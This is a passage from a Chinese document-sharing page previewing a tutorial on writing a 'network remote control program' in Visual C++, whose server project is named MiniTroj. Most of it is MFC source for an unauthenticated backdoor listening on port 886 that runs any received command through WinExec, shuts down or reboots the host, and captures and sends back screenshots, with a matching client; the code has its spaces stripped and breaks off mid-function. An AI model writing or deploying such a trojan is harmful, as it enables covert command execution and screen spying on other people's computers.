用VC编写网络远程控制程序_第1页
用VC编写网络远程控制程序_第2页
用VC编写网络远程控制程序_第3页
用VC编写网络远程控制程序_第4页
用VC编写网络远程控制程序_第5页
已阅读5页,还剩3页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

用VC编写网络远程控制程序基于网络的远程控制是网络管理员和黑客都非常关注的网络技术。在美好的网络化社会中远程控制是技术核心,比如将来可以一边坐在办公室里工作,一边通过网络打开家里的电饭锅做饭。简单的说,网络远程控制技术就是可以由一台联网(互联网或局域网)的主机来操纵联网的另一台或多台主机。网络管理员用它来实现网络的远程管理,黑客用它来占用别人的主机资源。网络远程控制实现的基础就是基于网络技术开发的客户端(client)/服务器(server)程序,程序执行后,由客户端来操作服务器完成客户端的请求。

一、服务器程序

在VC下新建一个基于对话框的工程MiniTrojDlg,要选择支持Winsock,然后在工程中加入自己从Csocket派生的两个类CLisenSocket和CClientSocket,CLisenSocket类用于建立监听的Socket,CClientSocket类用于建立通信的Socket。CLisenSocket类对虚函数OnAccept()进行重载。CClientSocket类对虚函数OnReceive()进行重载。在程序中建立一个用于监听指定端口的Socket,当有客户端请求到达后,再新建一个用于通信的Socket与客户端Socket建立连接,处理客户端请求。如果客户端请求为发送消息,则通过MessageBox函数显示该消息;如果客户端请求为执行命令,则调用WinExec函数执行相应命令;如果客户端请求为截取屏幕,则获取桌面窗口DC并用DIBAPI中函数获取图象并存为DIB对象,通过与客户端建立的连接将此DIB对象发送到客户端显示。

相关核心代码如下,详细代码请参见源程序。

ClisenSocket.h代码如下:

classCMiniTrojDlg;

//LisenSocketcommandtarget

classLisenSocket:publicCSocket

{

//Attributes

public:

//Operations

public:

LisenSocket(CWnd*pWnd);

virtual~LisenSocket();

//Overrides

public:

//ClassWizardgeneratedvirtualfunctionoverrides

//{{AFX_VIRTUAL(LisenSocket)

public:

virtualvoidOnAccept(intnErrorCode);

//}}AFX_VIRTUAL

//Generatedmessagemapfunctions

//{{AFX_MSG(LisenSocket)

//NOTE-theClassWizardwilladdandremovememberfunctionshere.

//}}AFX_MSG

//Implementation

protected:

private:

CMiniTrojDlg*m_pWnd;

};

ClisenSocket.cpp代码如下:

LisenSocket::LisenSocket(CWnd*pWnd)

{

m_pWnd=(CMiniTrojDlg*)pWnd;

}

LisenSocket::~LisenSocket()

{

}

//Donoteditthefollowinglines,whichareneededbyClassWizard.

#if0

BEGIN_MESSAGE_MAP(LisenSocket,CSocket)

//{{AFX_MSG_MAP(LisenSocket)

//}}AFX_MSG_MAP

END_MESSAGE_MAP()

#endif//0

//LisenSocketmemberfunctions

voidLisenSocket::OnAccept(intnErrorCode)

{

m_pWnd->ProcessPendingAccept();

CSocket::OnAccept(nErrorCode);

}

CclientSocket.h代码如下:

classCMiniTrojDlg;

//CClientSocketcommandtarget

classCClientSocket:publicCSocket

{

//Attributes

public:

//Operations

public:

CClientSocket(CWnd*pWnd);

virtual~CClientSocket();

//Overrides

public:

//ClassWizardgeneratedvirtualfunctionoverrides

//{{AFX_VIRTUAL(CClientSocket)

public:

virtualvoidOnReceive(intnErrorCode);

//}}AFX_VIRTUAL

//Generatedmessagemapfunctions

//{{AFX_MSG(CClientSocket)

//NOTE-theClassWizardwilladdandremovememberfunctionshere.

//}}AFX_MSG

//Implementation

protected:

private:

CMiniTrojDlg*m_pWnd;

};

CclientSocket.cpp代码如下:

CClientSocket::CClientSocket(CWnd*pWnd)

{

m_pWnd=(CMiniTrojDlg*)pWnd;

}

CClientSocket::~CClientSocket()

{

}

//Donoteditthefollowinglines,whichareneededbyClassWizard.

#if0

BEGIN_MESSAGE_MAP(CClientSocket,CSocket)

//{{AFX_MSG_MAP(CClientSocket)

//}}AFX_MSG_MAP

END_MESSAGE_MAP()

#endif//0

//CClientSocketmemberfunctions

voidCClientSocket::OnReceive(intnErrorCode)

{

m_pWnd->ProcessPendingRead();

CSocket::OnReceive(nErrorCode);

}

在CminiTrojDlg.cpp中添加以下代码:

BOOLCMiniTrojDlg::OnInitDialog()

{//系统初始化

CDialog::OnInitDialog();

SetIcon(m_hIcon,TRUE);

SetIcon(m_hIcon,FALSE);

m_nPort=886;

pLisen=newLisenSocket(this);

if(!pLisen->Create(m_nPort))

{

AfxMessageBox(IDS_CREATEFAILED);

}

elseif(!pLisen->Listen()){

AfxMessageBox(IDS_LISTENFAILED);

}

else

returnTRUE;

//Ok,服务器正在帧听...

arIn=NULL;

arOut=NULL;

returnTRUE;

}

//--在此函数接收客户程序的连接请求--

voidCMiniTrojDlg::ProcessPendingAccept()

{

pClient=newCClientSocket(this);

if(pLisen->Accept(*pClient))

{

Socketfile=newCSocketFile(pClient);

arIn=newCArchive(Socketfile,CArchive::load);

arOut=newCArchive(Socketfile,CArchive::store);

}

else{

deletepClient;

pClient=NULL;

}

}

//--在此函数接收客户程序发送的数据--

voidCMiniTrojDlg::ProcessPendingRead()

{

CStringTempReceive;

if(arIn->IsBufferEmpty())

{

*arIn>>TempReceive;

if(TempReceive.Left(1)=='m')

{//接收的是消息

TempReceive.Delete(0,2);

MessageBox(TempReceive,"提示信息",MB_OK);

}

elseif(TempReceive.Left(1)=='c')

{//接收的是命令

TempReceive.Delete(0,2);

WinExec(TempReceive,NULL);

}

elseif(TempReceive.Left(1)=='g')

{//接收的是关机命令

::ExitWindowsEx(EWX_POWEROFF,0);

}

elseif(TempReceive.Left(1)=='r')

{//接收的是注销命令

::ExitWindowsEx(EWX_REBOOT,0);

}

else

{//接收的是捕获屏幕命令

CWnd*m_pWnd=GetForegroundWindow();

ASSERT(m_pWnd!=NULL);

CDC*pdc_Showed=m_pWnd->GetDC();

CRectrect;

m_pWnd->GetClientRect(rect);

intheight,width,i,j;

height=rect.Height();

width=rect.Width();

LPSTRlpDIBCopy;

HDIBm_CopyDIB=CreateDIB(width,height,8);

lpDIBCopy=(LPSTR)::GlobalLock((HGLOBAL)m_CopyDIB);

BITMAPINFO*bminfo=(BITMAPINFO*)lpDIBCopy;

for(i=0;i<=255;i++){

bminfo->bmiColors.rgbBlue=i;

bminfo->bmiColors.rgbRed=i;

bminfo->bmiColors.rgbGreen=i;

bminfo->bmiColors.rgbReserved=0;

}

LPSTRlpDIBCopyBits=::FindDIBBits(lpDIBCopy);

inttWidthBytes=WIDTHBYTES(width*8);

COLORREFbmpdat;

unsignedcharpixel;

for(i=0;i<height;i++){

for(j=0;j<width;j++){

bmpdat=pdc_Showed->GetPixel(j,height-i);

pixel=(unsignedchar)((float)GetBValue(bmpdat)*0.299+(float)GetGValue(bmpdat)*0.587+(float)GetRValue(bmpdat)*0.114);

lpDIBCopyBits[i*tWidthBytes+j]=pixel;

}

}

*arOut<<height;

*arOut<<width;

arOut->Write(lpDIBCopy,(54+256*4+height*width));

arOut->Flush();

}}}

二、客户端程序

在VC下新建一个基于对话框的工程CTrojClient,也要选择支持WinSock,然后在工程中加入自己从Csocket派生的类CClientSocket,此类与服务器程序中建立的CclientSocket类相同。其界面如下:

在CTrojClent.h文件中添加以下代码:

public:

CClientSocket*SendSocket;

CArchive*arIn,*arSend;

CSocketFile*Socketfile;

UINTm_nPort;

CStringMessageCommand;

voidSend(CStringIpAddress,CStringCommMess);

voidProcessPendingRead();

HDIBm_DIB;

LPSTRlpDIB;

在CTrojClent.cpp文件中添加以下代码:

BOOLCTrojClientDlg::OnInitDialog()

{

CDialog::OnInitDialog();

m_nPort=886;

SendSocket=NULL;

arSend=NULL;

Socketfile=NULL;

MessageCommand="";

m_DIB=NULL;

returnTRUE;

}

voidCTrojClientDlg::Send(CStringIpAddress,CStringCommMess)

{

SendSocket=newCClientSocket(this);

if(!SendSocket->Create())

{

AfxMessageBox(IDS_CREATEFAILED);

return;

}

elseif(!SendSocket->Connect((LPCTSTR)IpAddress,m_nPort))

{

AfxMessageBox(IDS_RETRYCONNECT);

return;

}

else{

Socketfile=newCSocketFile(SendSocket);

arSend=newCArchive(Socketfile,CArchive::store);

arIn=newCArchive(Socketfile,CArchive::load);

}

*arSend<<CommMess;

arSend->Flush();

}

//此处处理服务器送来的屏幕信息

voidCTrojClientDlg::ProcessPendingRead()

{

intheight,width;

*arIn>>height;

*arIn>>width;

m_DIB=CreateDIB(width,height,8);//创建新DIB

lpDIB=(LPSTR)::GlobalLock((HGLOBAL)m_DIB);

arIn->Read(lpDIB,54+1024+height*width);

Invalidate();

}

voidCTrojClientDlg::OnPaint()

{

if(m_DIB==NULL)

CDialog::OnPaint();

else

{

CWnd*pWnd=GetDlgItem(IDC_Image);

//获取绘制屏幕的窗口

CDC*pDC=pWnd->GetDC();//取设备上下文指针

CRectmRect;

pWnd->GetClientRect(&mRect);

pWnd->Invalidate();

pWnd->UpdateWindow();

CRectDIBRect;

DIBRect.top=DIBRect.left=0;

DIBRect.right=(int)DIBWidth(lpDIB);

DIBRect.bottom=(int)DIBHeight(lpDIB);

CPalette*m_palDIB;

m_palDIB=newCPalette;

//创建新调色板

if(m_palDIB==NULL)

{//判断是否创建成功

::GlobalFree((HGLOBAL)m_DIB);//失败,可能是内存不足

m_DIB=NULL;

return;//返回

}

if(::CreateDIBPalette(m_DIB,m_palDIB)==NULL)

{//返回空,可能该DIB对象没有调色板

deletem_palDIB;//删除

m_palDIB=NULL;//设置为空

return;//返回

}

::PaintDIB(pDC->m_hDC,&mRect,m_DIB,&DIBRect,m_palDIB);

ReleaseDC(pDC);

CDialog::OnPaint();

}}

对各个按钮增加响应函数如下:

voidCTrojClientDlg::OnSendMess

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论